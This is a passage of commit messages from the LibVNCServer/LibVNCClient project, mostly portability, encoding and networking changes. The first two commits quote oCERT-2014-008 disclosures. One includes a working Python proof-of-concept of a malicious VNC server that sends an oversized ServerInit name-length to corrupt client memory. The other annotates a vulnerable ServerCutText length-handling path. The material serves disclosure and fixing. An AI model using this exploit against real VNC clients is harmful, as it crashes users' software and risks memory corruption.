This fixes the following oCERT report (oCERT-2014-008 pt.2):
There is a similar vulnerability to the previous one I sent. This is related to the ServerInit message where the width, the height of the server's framebuffer, its pixel format, and the name are sent to the client. The name can be used in a malicious manner to trigger a memory corruption in the client.
Field Size
---------------------------------
name-length [4]
name-string [name-length]
Below you will find a PoC script to show the vulnerability. This was tested on Fedora 20 with the latest version of krdc.
I have noticed something, where the memory corruption causes the program to hang but allows you to try to disconnect. After this it hangs. Occasionally there will be segmentation fault in memcpy. This can become more reliable if you connect to a different VNC server first (Or the wrong port on the malicious server) then connecting to the malicious port. Every time I accidentally made the wrong VNC connection attempt the next time I connected it segfault'd.
Just run the script it will listen on port 5900 and connect to it with krdc for example. I have observed Remmina crash more reliably.
import socket,struct,sys
HOST = ""
PORT = 5900
c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.bind((HOST,PORT))
c.listen(1)
conn,addr = c.accept()
print "Connected by ", addr
protocolVersion3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a"
conn.send(protocolVersion3008)
data = conn.recv(1024) # Receive the version from them.
secTypeNone = "\x01\x01"
secTypeAuth = "\x01\x02"
conn.send(secTypeNone)
data = conn.recv(1024) # Receive the secType choice from them.
secResultOk = "\x00" * 4
secResultNo = "\x00\x00\x00\x01"
conn.send(secResultOk)
data = conn.recv(1024) # Receive the ClientInit (Shared-flag).
frameBufferWidth = 0x0480
frameBufferHeight = 0x0360
bitsPerPixel = 0x20
depth = 0x18
bigEndian = 0x1
trueColor = 0x0
redM = 0x0
greenM = 0x0
blueM = 0x0
redS = 0x0
greenS = 0x0
blueS = 0x0
padding = "\x00\x00\x00"
nameLength = 0xffffffff
nameString = "AA" * 0xFFFF + "\x00\x0a"
conn.send( struct.pack(">HHBBBBHHHBBB",frameBufferWidth, frameBufferHeight, bitsPerPixel, depth, bigEndian, trueColor, redM, greenM, blueM, redS, greenS, blueS) + padding + struct.pack(">I", nameLength) + nameString )
c.close()
Fixes (maybe amongst others) the following oCERT report ([oCERT-2014-008]):
LibVNCServer HandleRFBServerMessage rfbServerCutText malicious msg.sct.length
It looks like there may be a chance for potential memory corruption when a LibVNCServer client attempts to process a Server Cut Text message.
case rfbServerCutText:
{
char *buffer;
if (!ReadFromRFBServer(client, ((char *)&msg) + 1,
sz_rfbServerCutTextMsg - 1))
return FALSE;
msg.sct.length = rfbClientSwap32IfLE(msg.sct.length); << Retrieve malicious length
buffer = malloc(msg.sct.length+1); << Allocate buffer. Can return 0x0
if (!ReadFromRFBServer(client, buffer, msg.sct.length)) << Attempt to write to buffer
return FALSE;
buffer[msg.sct.length] = 0; << Attempt to write to buffer
if (client->GotXCutText)
client->GotXCutText(client, buffer, msg.sct.length); << Attempt to write to buffer
free(buffer);
break;
}
If a message is provided with an extremely large size it is possible to cause the malloc to fail, further leading to an attempt to write 0x0.
With Microsoft Visual C++, we cannot use pthreads (MinGW sports an
emulation library which is the reason we did not need Windows-specific
hacks earlier). Happily, it is very easy to provide Windows-specific
emulations for the pthread calls we use.
[JES: fixed commit message]
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
Microsoft Visual C++ does not allow pointer arithmetic on void pointers.
[JES: fixed commit message]
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
To support Microsoft Visual C++, we must not guard Windows-specific code
in MinGW-specific #ifdef guards.
Happily, even 64-bit MSVC defines the WIN32 constant, therefore we can use
that instead.
[JES: fixed commit message, reordered commit, split out unrelated changes]
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
In Microsoft's Visual C runtime, the snprintf() function is actually
called _snprintf. Let's just #define the former to call the latter.
[JES: fixed commit message]
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
This change is technically not required to support MSVC, but it was
detected by Microsoft's compiler.
[JES: fixed commit message]
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
If MallocFrameBuffer() returns FALSE, frame buffer pointer is left to
NULL. Subsequent writes into that buffer could lead to memory
corruption, or even arbitrary code execution.
rfbClientSetClientData() allocates a new rfbClientData, but never gets
cleaned up, which causes memory leaks.
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
This patch implements support in LibVNCClient for framebuffer updates
encoded as H.264 frames. Hardware accelerated decoding is performed
using VA API.
This is experimental support to let the community explore the possibilities
offered by the potential bandwidth and latency reductions that H.264 encoding
allows. This may be particularly useful for use cases such as online gaming,
hosted desktops, hosted set top boxes...
This patch only provides the client side support and is meant to be used
with corresponding server-side support, as provided by an upcoming patch for
qemu ui/vnc module (to view the display of a virtual machine executing under
QEMU).
With this H.264-based encoding, if multiple framebuffer update messages
are generated for a single server framebuffer modification, the H.264
frame data is sent only with the first update message. Subsequent update
framebuffer messages will contain only the coordinates and size of the
additional updated regions.
Instructions/Requirements:
* The patch should be applied on top of the previous patch I submitted with
minor enhancements to the gtkvncviewer application:
http://sourceforge.net/mailarchive/message.php?msg_id=30323804
* Currently only works with libva 1.0: use branch "v1.0-branch" for libva and
intel-driver. Those can be built as follows:
cd libva
git checkout v1.0-branch
./autogen.sh
make
sudo make install
cd ..
git clone git://anongit.freedesktop.org/vaapi/intel-driver
cd intel-driver
git checkout v1.0-branch
./autogen.sh
make
sudo make install
Signed-off-by: David Verbeiren <david.verbeiren@intel.com>
The current definitions were mostly useful to glibc and followed its
feature_test_macros(3) documentation.
However, this means other platforms still had problems when building with
strict compilation flags. _BSD_SOURCE, for example, is only recognized by
glibc, and other platforms sometimes need _XOPEN_SOURCE instead, or even the
removal of some definitions (such as the outdate _POSIX_SOURCE one).
_POSIX_SOURCE also had to be conditionally defined in some places, as what
it enables or disables during compilation varies across systems.
Besided making libvncserver reverseVNC IPv6-aware, this introduces some changes
on the client side as well to make clients listen on IPv6 sockets, too. Like
the server side, this also uses a separate-socket approach.
For security reasons, it can be important to limit which IP addresses a
LibVNCClient-based client should listen for reverse connections. This
commit adds that option.
To preserve binary backwards-compatibility, the field was added to the end
of the rfbclient struct, and the function ListenAtTcpPort retains its
signature (but calls the new ListenAtTcpPortAndAddress).
[jes: shortened the commit subject, added a longer explanation in the
commit body and adjusted style]
Signed-off-by: Luca Stauble <gnekoz@gmail.com>
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
The functions gnutls_*_set_priority we used were marked deprecated since
latest GnuTLS version 2.12. However the replacement function
gnutls_priority_set_direct is available since 2.2, which is even lower
than our version requirement 2.4 in configure. The patch just replace
the deprecate function to fix the compile warning.
Signed-off-by: Vic Lee <llyzs@163.com>
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
GnuTLS seems to expect proper errno values internally. So set them in our
custom push/pull functions. Parts of the patch stolen from libcurl, thanks!
Signed-off-by: Christian Beier <dontmind@freeshell.org>
According to the minilzo README, this brings a significant
speedup on 64-bit architechtures.
Changes compared to old version 1.08 can be found here:
http://www.oberhumer.com/opensource/lzo/lzonews.php
Signed-off-by: Christian Beier <dontmind@freeshell.org>
No functional changes. All files used by _both_ libvncserver and
libvncclient are put into a 'common' directory and references
from other files as well as Autotools and CMake build systems are
updated.
Signed-off-by: Christian Beier <dontmind@freeshell.org>
This implements the xvp VNC extension, which is described in the
community version of the RFB protocol:
http://tigervnc.sourceforge.net/cgi-bin/rfbproto
It is also mentioned in the official RFB protocol.
Christian Beier
Brian Bidulock
Daniel Cohen Gindi
Johannes Schindelin
newsoft
Matthias Treydte
Robbert Klarenbeek
David Verbeiren
Raphael Kubo da Costa
Rostislav Lisovy
Monkey
Luca Stauble
Vic Lee